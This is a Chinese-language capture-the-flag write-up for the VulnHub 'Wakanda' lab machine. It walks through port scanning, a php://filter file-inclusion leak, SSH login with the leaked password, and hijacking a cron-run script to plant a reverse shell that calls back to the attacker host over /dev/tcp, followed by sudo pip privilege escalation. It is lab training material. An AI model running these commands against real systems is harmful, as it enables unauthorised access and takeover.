一、靶机下载地址
https://download.vulnhub.com/wakanda/wakanda-1.ova
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.222.0/24 -sn | grep -B 2 "08:00:27:ED:98:E1"
2、端口扫描
# 使用命令
nmap 192.168.222.149 -p- -sV
3、指纹识别
# 使用命令
whatweb 192.168.222.149
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.222.149"
三、获取shell
1、访问靶机IP地址
2、右击查看源代码
从网页源码上看给了一个参数,拼接访问一下index.php,因为他是脚本文件,不过得删除.php后缀才可以访问成功
lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.
/?lang=php://filter/read=convert.base64-encode/resource=index
base64解码,得到了一个password:Niamey4Ever227!!!
3、由于开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,尝试一下
# 使用命令
ssh mamadou@192.168.222.149 -p 3333
# 密码
Niamey4Ever227!!!
4、执行命令,发现执行不出来,这是开启了python shell ,只能通过函数来执行命令,很麻烦,因此,我们利用python shell再开启一个bash shell
# 使用命令
import os
os.system("/bin/bash")
5、输入ls命令,发现第一个flag文件
6、再次进行目录翻找,发现了第2个flag,在目录/home/devops目录下,这应该是两个用户目录,进行查看,发现没有权限
7、无法执行sudo -l提权,翻看tmp目录,发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断被调用,/srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件
# 使用命令
cd /tmp
ls -al
8、尝试将.antivirus.py的内容修改为如下内容
f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)
# 使用命令
echo "f=open('/home/devops/flag2.txt', 'r').read()" > .antivirus.py
echo "open('/tmp/flag.txt','w').write(f)" >> .antivirus.py
9、几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag
10、用devops用户身份创建一个shell,所以要转到这个用户,将.antivirus.py内容改为
import os
os.system("echo \'bash -i >& /dev/tcp/192.168.222.41/6767 0>&1\'|bash")
11、尝试了很多方法,发现写不进去内容,故将内容写到kali上然后用wget命令下载下来
# 使用命令
vim python.py
python3 -m http.server
12、使用wget命令进行远程下载
# 使用命令
wget http://192.168.222.41:8000/python.py
13、进行文件替换
# 使用命令
cp python.py /srv/.antivirus.py
14、进行监听6767端口,该脚本会自动执行,只需等待几分钟就会连接
# 使用命令
nc -lvnp 6767
四、提权
1、输入sudo -l
命令查看可执行的命令
2、发现pip不需要密码,创建一个恶意setup.py并上传到tmp目录,和上面的方法一样,创建文件,并远程下载到/tmp目录下面
# 使用命令
vim srtup.py
python3 -m http.server
wget http://192.168.222.41/srtup.py
3、攻击机开启nc监听端口,控制靶机执行
# 使用命令
sudo -H /usr/bin/pip install . --upgrade --force-reinstall